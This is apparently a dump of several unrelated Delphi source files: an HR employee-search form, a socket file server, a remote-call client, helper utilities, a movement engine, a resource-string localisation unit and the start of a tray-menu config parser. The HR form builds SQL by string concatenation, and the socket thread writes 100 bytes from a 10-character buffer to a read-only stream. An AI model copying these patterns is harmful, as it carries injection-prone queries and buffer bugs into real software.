' (select empno,nvl(RVALCONYN,''Z'') conyn, nvl(E1VALCONYN,''Z'') finyn, '+
' E1EMPNO from PEIDPMAS WHERE BASE_YY = '''+ Copy(FM_Main.VSysdate,1,4) +''' '+
' ) D, '+
' (SELECT EMPNO, BAND, DECODE(PAYCLPOINT, 0, 0, DECODE(AVG_SCORE, 0, 0, NVL(TRUNC(PAYCLPOINT/AVG_SCORE), 0))) BANDYEAR, '+
' NVL(PAYCLPOINT, 0) PAYCLPOINT, NVL(YEARPOINT,0) YEARPOINT, '+
' NVL(DECODE(BAND, ''L2'', 0, DECODE(SIGN(AVG100POINT), 1, AVG100POINT, 0)), 0) APPPOINT '+
' FROM(SELECT A.EMPNO, TRUNC(AVG(C.TOT_SCORE),1) AVG_SCORE, '+
' MAX((SELECT CODENAME FROM PYCCODE WHERE CODEID = ''I112'' '+
' AND CODENO = A.PAYCL)) BAND, ' +
' NVL(SUM(DECODE(C.BASE_YY, '''+ Copy(FM_Main.VSysdate,1,4) +''', C.TOT_SCORE, 0)),0) YEARPOINT, '+
' NVL(SUM(C.TOT_SCORE),0) PAYCLPOINT, ' +
' TRUNC(NVL(SUM(C.TOT_SCORE),0) / TRUNC(DECODE(SIGN(AVG(C.TOT_SCORE)),1, '+
' AVG(C.TOT_SCORE), 1), 1)) * 100 - (NVL(SUM(C.TOT_SCORE),0)) AVG100POINT '+
' FROM PIMPMAS A, PEDU2HIS C '+
' WHERE A.EMPNO = C.EMPNO '+
' AND C.BASE_YY <> ''2005'' '+
' AND A.PSTATE < ''80'' '+
' GROUP BY A.EMPNO) '+
' ) F'+
' WHERE a.pstate < '''+FM_Main.pstate +''' '+
' AND a.payra >= '''+FM_Main.payrafr+''' '+
' AND a.payra <= '''+FM_Main.payrato+''' '+
' AND a.empno not in ('''+FM_Main.objemp1 +''', '''+FM_Main.objemp2 +''' , '+
' '''+FM_Main.objemp3 +''', '''+FM_Main.objemp4 +''' , '+
' '''+FM_Main.objemp5 +''', '''+FM_Main.objemp6 +''' , '+
' '''+FM_Main.objemp7 +''', '''+FM_Main.objemp8 +''' , '+
' '''+FM_Main.objemp9 +''', '''+FM_Main.objemp10 +''' ) '+
' AND a.deptcode not in ('''+FM_Main.objdept1+''', '''+FM_Main.objdept2 +''' , '+
' '''+FM_Main.objdept3+''', '''+FM_Main.objdept4 +''' , '+
' '''+FM_Main.objdept5+''', '''+FM_Main.objdept6 +''' , '+
' '''+FM_Main.objdept7+''', '''+FM_Main.objdept8 +''' , '+
' '''+FM_Main.objdept9+''', '''+FM_Main.objdept10+''' ) '+
' AND A.DEPTCODE = B.DEPTCODE '+
' AND A.ORGNUM = B.ORGNUM '+
' AND A.PAYCL = C.CODENO(+) AND C.CODEID(+) = ''I112'' '+
' AND A.PAYRA = E.CODENO(+) AND E.CODEID(+) = ''I113'' '+
' AND A.EMPNO = D.EMPNO(+) '+
' AND A.EMPNO = F.EMPNO(+) ';
// ' AND SUBSTR(A.EMPNO,1,1) NOT IN (''Q'',''P'',''Y'',''J'') ';
SqlText := SqlText + Format(' AND(((A.PAYRA > ''C51'') AND (A.PAYRA <= ''H10'') AND (D.E1EMPNO =''%s'')) '+
' or ((A.PAYRA = ''C51'') AND (D.E1EMPNO = ''%s''))) ', [FM_MAIN.pEmpno,FM_MAIN.pEmpno]);
case RG_Sort.itemindex of
0 : SqlText := SqlText + ' ORDER BY A.DEPTCODE, A.PAYRA, A.EMPNO ' ;
1 : SqlText := SqlText + ' ORDER BY A.DEPTCODE DESC, A.PAYRA, A.EMPNO ' ;
2 : SqlText := SqlText + ' ORDER BY A.EMPNO ' ;
3 : SqlText := SqlText + ' ORDER BY A.EMPNO DESC ' ;
4 : SqlText := SqlText + ' ORDER BY A.KORNAME, A.PAYRA ' ;
5 : SqlText := SqlText + ' ORDER BY A.KORNAME DESC, A.PAYRA ' ;
end;
with Query1 do
begin
Close;
ClearFieldInFo;
AddField('EMPNO' , ftString, 100);
AddField('KORNAME' , ftString, 100);
AddField('DEPTNAME' , ftString, 100);
AddField('CONYN' , ftString, 100);
AddField('FINYN' , ftString, 100);
AddField('BAND' , ftString, 100);
AddField('PROG' , ftString, 100);
AddField('PAYCLPOINT', ftString, 100);
AddField('YEARPOINT' , ftString, 100);
AddField('APPPOINT' , ftString, 100);
Sql.Clear;
Sql.Text := SqlText;
memo1.text := SqlText;
ServiceName := 'HINSA_select10';
Open;
Locate('EMPNO',vararrayof([FM_Main.Ed_empno.Text]),[loCaseInsensitive]);
end;
for i := 0 to Query1.FieldCount - 1 do
begin
Field := Query1.Fields[i];
Field.Visible := False;
case Field.Index of
0 : begin
Field.Visible := True;
Field.DisplayWidth := 7;
Field.DisplayLabel := '사 번';
end;
1 : begin
Field.Visible := True;
Field.DisplayWidth := 10;
Field.DisplayLabel := '성 명';
end;
2 : begin
Field.Visible := True;
Field.DisplayWidth := 15;
Field.DisplayLabel := '부 서 명';
end;
5 : begin
Field.Visible := True;
Field.DisplayWidth := 12;
Field.DisplayLabel := '진행사항';
end;
6 : begin
Field.Visible := True;
Field.DisplayWidth := 5;
Field.DisplayLabel := 'BAND';
Field.Alignment := taCenter;
end;
(*
6 : begin
Field.Visible := True;
Field.DisplayWidth := 5;
Field.DisplayLabel := '연 차';
Field.Alignment := taRightJustify;
end;
*)
7 : begin
Field.Visible := True;
Field.DisplayWidth := 5;
Field.DisplayLabel := '취득누계';
Field.Alignment := taRightJustify;
end;
8 : begin
Field.Visible := True;
Field.DisplayWidth := 5;
Field.DisplayLabel := '금년누계';
Field.Alignment := taRightJustify;
end;
9: begin
Field.Visible := True;
Field.DisplayWidth := 5;
Field.DisplayLabel := '필요POINT';
Field.Alignment := taRightJustify;
end;
end;
end;
if FSelectYn = False Then Exit;
Width := GetDisplayWidth(Grid1.Canvas,Grid1.Font,87) + 12;
FSelectYn := False;
end;
procedure TFm_EmpForm.Grid1KeyPress(Sender: TObject; var Key: Char);
begin
if Key = Chr(13) then
begin
Key := #0;
Sb_OkClick(Sender);
end;
end;
procedure TFm_EmpForm.RG_SortClick(Sender: TObject);
begin
SqlOpen;
end;
procedure TFm_EmpForm.Sb_CloseClick(Sender: TObject);
begin
Fempno := '';
Fkorname := '';
FCloseYn := True;
Edit.PopupForm.ClosePopup(False);
end;
end.
|
unit UnitMainForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ScktComp;
type
TMainForm = class(TForm)
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
CSocket: TClientSocket;
SSocket: TServerSocket;
Memo2: TMemo;
Memo1: TMemo;
Memo3: TMemo;
Memo4: TMemo;
procedure FormCreate(Sender: TObject);
procedure SSocketGetThread(Sender: TObject;
ClientSocket: TServerClientWinSocket;
var SocketThread: TServerClientThread);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
TMHDServerThread = class( TServerClientThread )
private
ThreadStream : TWinSocketStream;
protected
procedure ClientExecute; override;
public
constructor Create( CreateSuspended: Boolean; ASocket: TServerClientWinSocket );
destructor Destroy; override;
end;
var
MainForm: TMainForm;
MHDServerThread : TMHDServerThread;
implementation
{$R *.DFM}
procedure TMainForm.FormCreate(Sender: TObject);
begin
CSocket.Open;
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
CSocket.Close;
SSocket.Close;
end;
procedure TMainForm.SSocketGetThread(Sender: TObject;
ClientSocket: TServerClientWinSocket;
var SocketThread: TServerClientThread);
begin
MHDServerThread := TMHDServerThread.Create( False , ClientSocket );
SocketThread := MHDServerThread;
end;
//==============================================================================
//==============================================================================
//
// S E R V E R
//
//==============================================================================
//==============================================================================
//==============================================================================
// Constructor
//==============================================================================
constructor TMHDServerThread.Create( CreateSuspended: Boolean; ASocket: TServerClientWinSocket );
begin
inherited;
ThreadStream := TWinSocketStream.Create( ASocket , 30000 );
end;
//==============================================================================
// Destructor
//==============================================================================
destructor TMHDServerThread.Destroy;
begin
ThreadStream.Free;
inherited;
end;
procedure TMHDServerThread.ClientExecute;
var FileStream : TFileStream;
Buffer : array [1..10] of char;
begin
while (not Terminated) and
(ClientSocket.Connected) do
try
FileStream := TFileStream.Create( 'C:\Frunlog.txt' , fmOpenRead );
try
FileStream.Write( Buffer , 100 );
ThreadStream.Write( Buffer , 100 );
finally
FileStream.Free;
end;
break;
except
HandleException;
end;
end;
end.
|
unit uRemoteServerDIOCPImpl;
interface
uses
uIRemoteServer,
uRawTcpClientCoderImpl,
uStreamCoderSocket,
utils.zipTools,
SimpleMsgPack,
Classes,
SysUtils,
diocp.tcp.blockClient, uICoderSocket;
type
TRemoteServerDIOCPImpl = class(TInterfacedObject, IRemoteServer)
private
FTcpClient: TDiocpBlockTcpClient;
FCoderSocket: ICoderSocket;
FMsgPack:TSimpleMsgPack;
FSendStream:TMemoryStream;
FRecvStream:TMemoryStream;
protected
/// <summary>
/// 执行远程动作
/// </summary>
function Execute(pvCmdIndex: Integer; var vData: OleVariant): Boolean; stdcall;
public
constructor Create;
procedure setHost(pvHost: string);
procedure setPort(pvPort:Integer);
procedure open;
destructor Destroy; override;
end;
implementation
constructor TRemoteServerDIOCPImpl.Create;
begin
inherited Create;
FTcpClient := TDiocpBlockTcpClient.Create(nil);
FTcpClient.ReadTimeOut := 1000 * 60 * 11; // 设置超时等待
FCoderSocket := TRawTcpClientCoderImpl.Create(FTcpClient);
FMsgPack := TSimpleMsgPack.Create;
FRecvStream := TMemoryStream.Create;
FSendStream := TMemoryStream.Create;
end;
destructor TRemoteServerDIOCPImpl.Destroy;
begin
FCoderSocket := nil;
FTcpClient.Disconnect;
FTcpClient.Free;
FMsgPack.Free;
FRecvStream.Free;
FSendStream.Free;
inherited Destroy;
end;
{ TRemoteServerDIOCPImpl }
function TRemoteServerDIOCPImpl.Execute(pvCmdIndex: Integer; var vData:
OleVariant): Boolean;
begin
if not FTcpClient.Active then FTcpClient.Connect;
FSendStream.Clear;
FRecvStream.Clear;
FMsgPack.Clear;
FMsgPack.ForcePathObject('cmd.index').AsInteger := pvCmdIndex;
FMsgPack.ForcePathObject('cmd.data').AsVariant := vData;
FMsgPack.EncodeToStream(FSendStream);
TZipTools.ZipStream(FSendStream, FSendStream);
TStreamCoderSocket.SendObject(FCoderSocket, FSendStream);
TStreamCoderSocket.RecvObject(FCoderSocket, FRecvStream);
TZipTools.UnZipStream(FRecvStream, FRecvStream);
FRecvStream.Position := 0;
FMsgPack.DecodeFromStream(FRecvStream);
Result := FMsgPack.ForcePathObject('__result.result').AsBoolean;
if not Result then
if FMsgPack.ForcePathObject('__result.msg').AsString <> '' then
begin
raise Exception.Create(FMsgPack.ForcePathObject('__result.msg').AsString);
end;
vData := FMsgPack.ForcePathObject('__result.data').AsVariant;
end;
procedure TRemoteServerDIOCPImpl.open;
begin
FTcpClient.Disconnect;
FTcpClient.Connect;
end;
procedure TRemoteServerDIOCPImpl.setHost(pvHost: string);
begin
FTcpClient.Host := pvHost;
end;
procedure TRemoteServerDIOCPImpl.setPort(pvPort: Integer);
begin
FTcpClient.Port := pvPort;
end;
end.
|
unit bHelper;
interface
uses types, System.sysutils, strutils, windows, vcl.dialogs, vEnv;
type
THelper = class
public
class function existsInArray(value: variant; arrayValues: array of variant): boolean; overload;
class function existsInArray(value: string; arrayValues: TStringDynArray): boolean; overload;
class function getPathName(path: string): string;
class function readInput(msg: string; defaultValue: string = ''): string;
class function readBolInput(msg: string; defaultValue: string = ''): boolean;
class function readBolInputWithAll(msg: string; defaultValue: string = ''): boolean;
class function selectFile(CurrentDir: string = 'C:\'; Filters: string = ''): string;
class function genData(value: string; countOf: Integer): string;
class function arrToStr(arrValue: array of string): string;
end;
implementation
{ THelper }
class function THelper.existsInArray(value: variant; arrayValues: array of variant): boolean;
var
_value: variant;
begin
result := false;
for _value in arrayValues do
if _value = value then
begin
result := true;
break;
end;
end;
class function THelper.arrToStr(arrValue: array of string): string;
var
i: Integer;
begin
if length(arrValue) <> 0 then
begin
result := arrValue[0];
for i := 1 to High(arrValue) do
result := result + ',' + arrValue[i];
end;
end;
class function THelper.existsInArray(value: string; arrayValues: TStringDynArray): boolean;
var
_value: string;
begin
result := false;
for _value in arrayValues do
if lowercase(_value) = lowercase(value) then
begin
result := true;
break;
end;
end;
class function THelper.genData(value: string; countOf: Integer): string;
var
i: Integer;
begin
for i := 1 to countOf do
result := result + value;
end;
class function THelper.getPathName(path: string): string;
begin
result := ExtractFileName(ExcludeTrailingPathDelimiter(path));
end;
class function THelper.readBolInput(msg, defaultValue: string): boolean;
begin
result := lowercase(readInput(msg + ' (y/N)', defaultValue)) = 'y';
end;
class function THelper.readBolInputWithAll(msg, defaultValue: string): boolean;
var
selected: string;
begin
result := false;
if ALL_OPTION_SELECTED then
begin
result := true;
exit;
end;
selected := lowercase(readInput(msg + ' (y/N/a)', defaultValue));
ALL_OPTION_SELECTED := (selected = 'a');
result := (selected <> 'n');
end;
class function THelper.readInput(msg: string; defaultValue: string = ''): string;
var
OldMode: Cardinal;
c: char;
begin
Write(msg, ' ', ifthen(defaultValue <> '', '(' + defaultValue + ')', ''), ': ');
Readln(input, result);
result := ifthen((defaultValue <> '') and (result = ''), defaultValue, result);
if result = '^C' then
begin
writeln('');
halt(0);
end;
end;
class function THelper.selectFile(CurrentDir: string = 'C:\'; Filters: string = ''): string;
var
openDialog: topendialog;
begin
try
openDialog := topendialog.create(nil);
openDialog.InitialDir := CurrentDir;
openDialog.Options := [ofFileMustExist];
openDialog.Filter := Filters + '|All|*.*';
openDialog.FilterIndex := 1;
if openDialog.Execute then
result := openDialog.FileName
else
result := emptystr;
finally
openDialog.Free;
end;
end;
end.
|
{ ****************************************************************************** }
{ * movement engine create by qq600585 * }
{ * https://zpascal.net * }
{ * https://github.com/PassByYou888/zAI * }
{ * https://github.com/PassByYou888/ZServer4D * }
{ * https://github.com/PassByYou888/PascalString * }
{ * https://github.com/PassByYou888/zRasterization * }
{ * https://github.com/PassByYou888/CoreCipher * }
{ * https://github.com/PassByYou888/zSound * }
{ * https://github.com/PassByYou888/zChinese * }
{ * https://github.com/PassByYou888/zExpression * }
{ * https://github.com/PassByYou888/zGameWare * }
{ * https://github.com/PassByYou888/zAnalysis * }
{ * https://github.com/PassByYou888/FFMPEG-Header * }
{ * https://github.com/PassByYou888/zTranslate * }
{ * https://github.com/PassByYou888/InfiniteIoT * }
{ * https://github.com/PassByYou888/FastMD5 * }
{ ****************************************************************************** }
unit MovementEngine;
{$INCLUDE zDefine.inc}
interface
uses SysUtils, Geometry2DUnit, CoreClasses, Math;
type
TMovementStep = record
Position: TVec2;
angle: TGeoFloat;
index: Integer;
end;
IMovementEngineIntf = interface
function GetPosition: TVec2;
procedure SetPosition(const Value: TVec2);
function GetRollAngle: TGeoFloat;
procedure SetRollAngle(const Value: TGeoFloat);
procedure DoStartMovement;
procedure DoMovementDone;
procedure DoRollMovementStart;
procedure DoRollMovementOver;
procedure DoLoop;
procedure DoStop;
procedure DoPause;
procedure DoContinue;
procedure DoMovementStepChange(OldStep, NewStep: TMovementStep);
end;
TMovementOperationMode = (momMovementPath, momStopRollAngle);
TMovementEngine = class(TCoreClassObject)
private
FIntf: IMovementEngineIntf;
FSteps: array of TMovementStep;
FActive: Boolean;
FPause: Boolean;
FMoveSpeed: TGeoFloat;
FRollSpeed: TGeoFloat;
FRollMoveRatio: TGeoFloat;
// movement operation mode
FOperationMode: TMovementOperationMode;
FLooped: Boolean;
FStopRollAngle: TGeoFloat;
FLastProgressNewTime: Double;
FLastProgressDeltaTime: Double;
FCurrentPathStepTo: Integer;
FFromPosition: TVec2;
FToPosition: TVec2;
FMovementDone, FRollDone: Boolean;
protected
function GetPosition: TVec2;
procedure SetPosition(const Value: TVec2);
function GetRollAngle: TGeoFloat;
procedure SetRollAngle(const Value: TGeoFloat);
function FirstStep: TMovementStep;
function LastStep: TMovementStep;
public
constructor Create;
destructor Destroy; override;
procedure Start(ATo: TVec2); overload;
procedure Start(APaths: TVec2List); overload;
procedure Start; overload;
procedure stop;
procedure Pause;
procedure Progress(const deltaTime: Double);
property Intf: IMovementEngineIntf read FIntf write FIntf;
property Position: TVec2 read GetPosition write SetPosition;
property RollAngle: TGeoFloat read GetRollAngle write SetRollAngle;
// pause
property IsPause: Boolean read FPause;
// movementing
property Active: Boolean read FActive;
// speed
property MoveSpeed: TGeoFloat read FMoveSpeed write FMoveSpeed;
// roll speed
property RollSpeed: TGeoFloat read FRollSpeed write FRollSpeed;
// roll movement Ratio
property RollMoveRatio: TGeoFloat read FRollMoveRatio write FRollMoveRatio;
// movement operation mode
property OperationMode: TMovementOperationMode read FOperationMode write FOperationMode;
// loop movement
property Looped: Boolean read FLooped write FLooped;
property FromPosition: TVec2 read FFromPosition;
property ToPosition: TVec2 read FToPosition;
end;
implementation
uses Geometry3DUnit;
function TMovementEngine.GetPosition: TVec2;
begin
Result := FIntf.GetPosition;
end;
procedure TMovementEngine.SetPosition(const Value: TVec2);
begin
FIntf.SetPosition(Value);
end;
function TMovementEngine.GetRollAngle: TGeoFloat;
begin
Result := FIntf.GetRollAngle;
end;
procedure TMovementEngine.SetRollAngle(const Value: TGeoFloat);
begin
FIntf.SetRollAngle(Value);
end;
function TMovementEngine.FirstStep: TMovementStep;
begin
Result := FSteps[0];
end;
function TMovementEngine.LastStep: TMovementStep;
begin
Result := FSteps[length(FSteps) - 1];
end;
constructor TMovementEngine.Create;
begin
inherited Create;
SetLength(FSteps, 0);
FIntf := nil;
FActive := False;
FPause := False;
FMoveSpeed := 100;
FRollSpeed := 180;
FRollMoveRatio := 0.5;
FOperationMode := momMovementPath;
FLooped := False;
FStopRollAngle := 0;
FLastProgressDeltaTime := 0;
FCurrentPathStepTo := -1;
FFromPosition := NULLPoint;
FToPosition := NULLPoint;
FMovementDone := False;
FRollDone := False;
end;
destructor TMovementEngine.Destroy;
begin
SetLength(FSteps, 0);
FIntf := nil;
inherited Destroy;
end;
procedure TMovementEngine.Start(ATo: TVec2);
begin
if not FActive then
begin
SetLength(FSteps, 0);
FStopRollAngle := CalcAngle(Position, ATo);
FOperationMode := momStopRollAngle;
FActive := True;
FPause := False;
FToPosition := ATo;
Intf.DoStartMovement;
end;
end;
procedure TMovementEngine.Start(APaths: TVec2List);
var
i: Integer;
begin
APaths.RemoveSame;
if not FActive then
begin
FCurrentPathStepTo := 0;
FFromPosition := NULLPoint;
FMovementDone := False;
FRollDone := False;
FOperationMode := momMovementPath;
FActive := (APaths <> nil) and (APaths.Count > 0) and (FIntf <> nil);
if FActive then
begin
SetLength(FSteps, APaths.Count);
for i := 0 to APaths.Count - 1 do
with FSteps[i] do
begin
Position := APaths[i]^;
if i > 0 then
angle := CalcAngle(APaths[i - 1]^, APaths[i]^)
else
angle := CalcAngle(Position, APaths[i]^);
index := i;
end;
FPause := False;
FFromPosition := Position;
FStopRollAngle := 0;
FToPosition := APaths.Last^;
Intf.DoStartMovement;
end;
end;
end;
procedure TMovementEngine.Start;
begin
if (FActive) and (FPause) then
begin
FPause := False;
Intf.DoContinue;
end;
end;
procedure TMovementEngine.stop;
begin
if FActive then
begin
SetLength(FSteps, 0);
FCurrentPathStepTo := 0;
FFromPosition := NULLPoint;
FMovementDone := False;
FRollDone := True;
FPause := False;
FActive := False;
FOperationMode := momMovementPath;
Intf.DoStop;
end;
end;
procedure TMovementEngine.Pause;
begin
if not FPause then
begin
FPause := True;
if FActive then
Intf.DoPause;
end;
end;
procedure TMovementEngine.Progress(const deltaTime: Double);
var
CurrentDeltaTime: Double;
toStep: TMovementStep;
FromV, ToV, v: TVec2;
dt, RT: Double;
d: TGeoFloat;
begin
FLastProgressDeltaTime := deltaTime;
if FActive then
begin
CurrentDeltaTime := deltaTime;
FActive := (length(FSteps) > 0) or (FOperationMode = momStopRollAngle);
if (not FPause) and (FActive) then
begin
case FOperationMode of
momStopRollAngle:
begin
RollAngle := SmoothAngle(RollAngle, FStopRollAngle, deltaTime * FRollSpeed);
FActive := not AngleEqual(RollAngle, FStopRollAngle);
end;
momMovementPath:
begin
FromV := Position;
while True do
begin
if FMovementDone and FRollDone then
begin
FActive := False;
Break;
end;
if FMovementDone and not FRollDone then
begin
RollAngle := SmoothAngle(RollAngle, LastStep.angle, deltaTime * FRollSpeed);
FRollDone := not AngleEqual(RollAngle, LastStep.angle);
Break;
end;
if FCurrentPathStepTo >= length(FSteps) then
begin
v := LastStep.Position;
Position := v;
if not AngleEqual(RollAngle, LastStep.angle) then
begin
FOperationMode := momStopRollAngle;
FStopRollAngle := LastStep.angle;
end
else
FActive := False;
Break;
end;
toStep := FSteps[FCurrentPathStepTo];
ToV := toStep.Position;
FMovementDone := FCurrentPathStepTo >= length(FSteps);
if (FRollDone) and (not AngleEqual(RollAngle, toStep.angle)) then
FIntf.DoRollMovementStart;
if (not FRollDone) and (AngleEqual(RollAngle, toStep.angle)) then
FIntf.DoRollMovementOver;
FRollDone := AngleEqual(RollAngle, toStep.angle);
if FRollDone then
begin
// uses direct movement
dt := MovementDistanceDeltaTime(FromV, ToV, FMoveSpeed);
if dt > CurrentDeltaTime then
begin
// direct calc movement
v := MovementDistance(FromV, ToV, CurrentDeltaTime * FMoveSpeed);
Position := v;
Break;
end
else
begin
CurrentDeltaTime := CurrentDeltaTime - dt;
FromV := ToV;
inc(FCurrentPathStepTo);
// trigger execute event
if (FCurrentPathStepTo < length(FSteps)) then
FIntf.DoMovementStepChange(toStep, FSteps[FCurrentPathStepTo]);
end;
end
else
begin
// uses roll attenuation movement
RT := AngleRollDistanceDeltaTime(RollAngle, toStep.angle, FRollSpeed);
d := Distance(FromV, ToV);
if RT >= CurrentDeltaTime then
begin
if d > CurrentDeltaTime * FMoveSpeed * FRollMoveRatio then
begin
// position vector dont cross endge for ToV
v := MovementDistance(FromV, ToV, CurrentDeltaTime * FMoveSpeed * FRollMoveRatio);
Position := v;
RollAngle := SmoothAngle(RollAngle, toStep.angle, CurrentDeltaTime * FRollSpeed);
Break;
end
else
begin
// position vector cross endge for ToV
dt := MovementDistanceDeltaTime(FromV, ToV, FMoveSpeed * FRollMoveRatio);
v := ToV;
Position := v;
RollAngle := SmoothAngle(RollAngle, toStep.angle, dt * FRollSpeed);
CurrentDeltaTime := CurrentDeltaTime - dt;
FromV := ToV;
inc(FCurrentPathStepTo);
// trigger execute event
if (FCurrentPathStepTo < length(FSteps)) then
FIntf.DoMovementStepChange(toStep, FSteps[FCurrentPathStepTo]);
end;
end
else
begin
// preprocess roll movement speed attenuation
if RT * FMoveSpeed * FRollMoveRatio > d then
begin
// position vector cross endge for ToV
dt := MovementDistanceDeltaTime(FromV, ToV, FMoveSpeed * FRollMoveRatio);
v := ToV;
Position := v;
RollAngle := SmoothAngle(RollAngle, toStep.angle, dt * FRollSpeed);
CurrentDeltaTime := CurrentDeltaTime - dt;
FromV := ToV;
inc(FCurrentPathStepTo);
// trigger execute event
if (FCurrentPathStepTo < length(FSteps)) then
FIntf.DoMovementStepChange(toStep, FSteps[FCurrentPathStepTo]);
end
else
begin
// position vector dont cross endge for ToV
v := MovementDistance(FromV, ToV, RT * FMoveSpeed * FRollMoveRatio);
Position := v;
RollAngle := toStep.angle;
CurrentDeltaTime := CurrentDeltaTime - RT;
end;
end;
end;
end;
end;
end;
if (not FActive) then
begin
if (FLooped) and (length(FSteps) > 0) then
begin
FCurrentPathStepTo := 0;
FActive := True;
FMovementDone := False;
FRollDone := False;
FOperationMode := momMovementPath;
FSteps[0].angle := CalcAngle(Position, FSteps[0].Position);
FIntf.DoLoop;
end
else
begin
FCurrentPathStepTo := 0;
FFromPosition := NULLPoint;
FMovementDone := False;
FRollDone := False;
FOperationMode := momMovementPath;
FIntf.DoMovementDone;
end;
end;
end;
end;
end;
end.
|
unit uTraducao;
interface
uses Windows, Consts, Data.DBConsts, cxEditConsts,dxThemeConsts,cxVGridConsts,
cxGridPopupMenuConsts,dxNavBarConsts,dxDockConsts,cxPCConsts,dxBarSkinConsts,
cxExtEditConsts,cxLibraryConsts,cxDataConsts,cxFilterConsts, cxGridStrs,
dxNavBarDsgnConsts;
procedure SetResourceString(AResString: PResStringRec; ANewValue: PWideChar);
const
SNewMsgDlgYes: PWideChar = '&Sim';
SNewMsgDlgOK: PWideChar = 'OK';
SNewMsgDlgNo = '&Não';
SNewMsgDlgCancel: PWideChar = 'Cancelar';
SNewFieldRequired: PWideChar = 'O campo ''%s'' é obrigatório!';
SNewDeleteRecordQuestion: PWideChar = 'Deseja excluir este registro?';
_cxSDatePopupClear = 'Limpar';
_cxSDatePopupNow = 'Agora';
_cxSDatePopupToday = 'Hoje';
_cxSDateError = 'Data Incorreta';
_scxGridDeletingSelectedConfirmationText = 'Deseja excluir todos os registros selecionados?';
_SMsgDlgConfirm = 'CONFIRMAÇÃO';
implementation
procedure SetResourceString(AResString: PResStringRec; ANewValue: PWideChar);
var
POldProtect: DWORD;
begin
VirtualProtect(AResString, SizeOf(AResString^), PAGE_EXECUTE_READWRITE, @POldProtect);
AResString^.Identifier := Integer(ANewValue);
VirtualProtect(AResString, SizeOf(AResString^), POldProtect, @POldProtect);
end;
initialization
SetResourceString(@SMsgDlgYes, SNewMsgDlgYes);
SetResourceString(@SMsgDlgOK, SNewMsgDlgOK);
SetResourceString(@SMsgDlgNo, SNewMsgDlgNo);
SetResourceString(@SMsgDlgCancel, SNewMsgDlgCancel);
SetResourceString(@SFieldRequired, SNewFieldRequired);
SetResourceString(@SDeleteRecordQuestion, SNewDeleteRecordQuestion);
SetResourceString(@cxNavigator_DeleteRecordQuestion, SNewDeleteRecordQuestion);
SetResourceString(@cxSDatePopupClear, _cxSDatePopupClear);
SetResourceString(@cxSDatePopupNow, _cxSDatePopupNow);
SetResourceString(@cxSDatePopupToday, _cxSDatePopupToday);
SetResourceString(@cxSDateError, _cxSDateError);
SetResourceString(@scxGridDeletingFocusedConfirmationText, SNewDeleteRecordQuestion);
SetResourceString(@scxGridDeletingSelectedConfirmationText, _scxGridDeletingSelectedConfirmationText);
SetResourceString(@SMsgDlgConfirm, _SMsgDlgConfirm);
end.
|
unit TMConfig;
{
Aestan Tray Menu
Made by Onno Broekmans; visit http://www.xs4all.nl/~broekroo/aetraymenu
for more information.
This work is hereby released into the Public Domain. To view a copy of the
public domain dedication, visit:
http://creativecommons.org/licenses/publicdomain/
or send a letter to Creative Commons, 559 Nathan Abbott Way, Stanford,
California 94305, USA.
This unit contains the code that handles reading, parsing and handling
the AeTrayMenu configuration file.
}
{
NOTE:
Lots of code from this unit are based on the Inno Setup source code,
which was written by Jordan Russell (portions by Martijn Laan).
Inno Setup is a great, free installer for Windows; see:
http://www.jrsoftware.org
>>PLEASE DO NOT REMOVE THIS NOTE<<
}
interface
uses Windows, SysUtils, Consts, Classes, Contnrs, JvComponent, JvTrayIcon,
ImgList, BarMenus, Controls, Menus, ExtCtrls, Graphics,
TMStruct, TMCmnFunc, TMSrvCtrl;
const
MENUSETTINGSSUFFIX = '.Settings';
//suffix used in TTMConfigReader.ReadBcBarPopupMenu
type
EParseError = class(Exception)
{ This exception class is raised when the TTMConfigReader class
can't read the script because of syntax errors in the script }
public
LineNumber: Integer;
{ The line number on which the parse error occurred }
{ (LineNumber is -1 if it is some kind of 'general' error) }
constructor CreateLine(const Msg: String; const LineNumber: Integer = -1);
constructor CreateLineFmt(const Msg: String; Args: array of const;
const LineNumber: Integer = -1);
end;
TEnumIniSectionProc = procedure(const Line: PChar; const Ext: Longint) of object;
TTMConfigReader = class
private
FTrayIcon: TJvTrayIcon;
FImageList: TImageList;
FServices: TObjectList;
FCheckServicesTimer: TTimer;
FTrayIconSomeRunning: Integer;
FTrayIconNoneRunning: Integer;
FTrayIconAllRunning: Integer;
FSomeRunningHint: String;
FNoneRunningHint: String;
FAllRunningHint: String;
FVariables: TObjectList;
FServiceGlyphRunning: Integer;
FServiceGlyphStopped: Integer;
FServiceGlyphPaused: Integer;
FOnSelectMenuItem: TNotifyEvent;
FDoubleClickAction: TTMMultiAction;
FStartupAction: TTMMultiAction;
FScript: TStringList;
FOnBuiltInActionExecute: TNotifyEvent;
FID: String;
FCustomAboutVersion: String;
FCustomAboutHeader: String;
FCustomAboutText: TStrings;
FHtmlActions: TStringList;
procedure SetScript(const Value: TStringList);
procedure SetCustomAboutText(const Value: TStrings);
protected
{ FIELDS }
{ Miscellaneous internal data }
LineNumber: Integer;
{ The line number of the line the parser is currently working on }
{ This value is used in combination with the AbortParsing(..) procs }
ConfigDirectiveLines: array[TConfigSectionDirective] of Integer;
MessagesDirectiveLines: array[TMessagesSectionDirective] of Integer;
MenuDirectiveLines: array[TMenuSectionDirective] of Integer;
{ METHODS }
{ Exception methods }
procedure AbortParsing(const Msg: String);
{ Raises an EScriptParseError exception; used while reading
the script }
{ The line number is automatically read from "LineNumber" (see above) }
procedure AbortParsingFmt(const Msg: String; const Args: array of const);
{ As AbortParsing, but calls Format(Msg, Args) }
{ Reader methods }
procedure EnumIniSection(const EnumProc: TEnumIniSectionProc;
const SectionName: String; const Ext: Longint);
{ Enumerates values in a specified section, using the EnumProc
procedure as a callback function. "Ext" will be used in the call
to the EnumProc procedure. }
procedure EnumAboutText(const Line: PChar; const Ext: Longint);
procedure EnumConfig(const Line: PChar; const Ext: Longint);
procedure EnumMenuItems(const Line: PChar; const Ext: Integer);
procedure EnumMenuSettings(const Line: PChar; const Ext: Integer);
procedure EnumMultiAction(const Line: PChar; const Ext: Integer);
procedure EnumMessages(const Line: PChar; const Ext: Longint);
procedure EnumServices(const Line: PChar; const Ext: Integer);
procedure EnumVariables(const Line: PChar; const Ext: Integer);
{ Miscellaneous procs }
procedure BreakString(S: PChar; var Output: TBreakStringArray);
function CompareParamName (const S: TBreakStringRec;
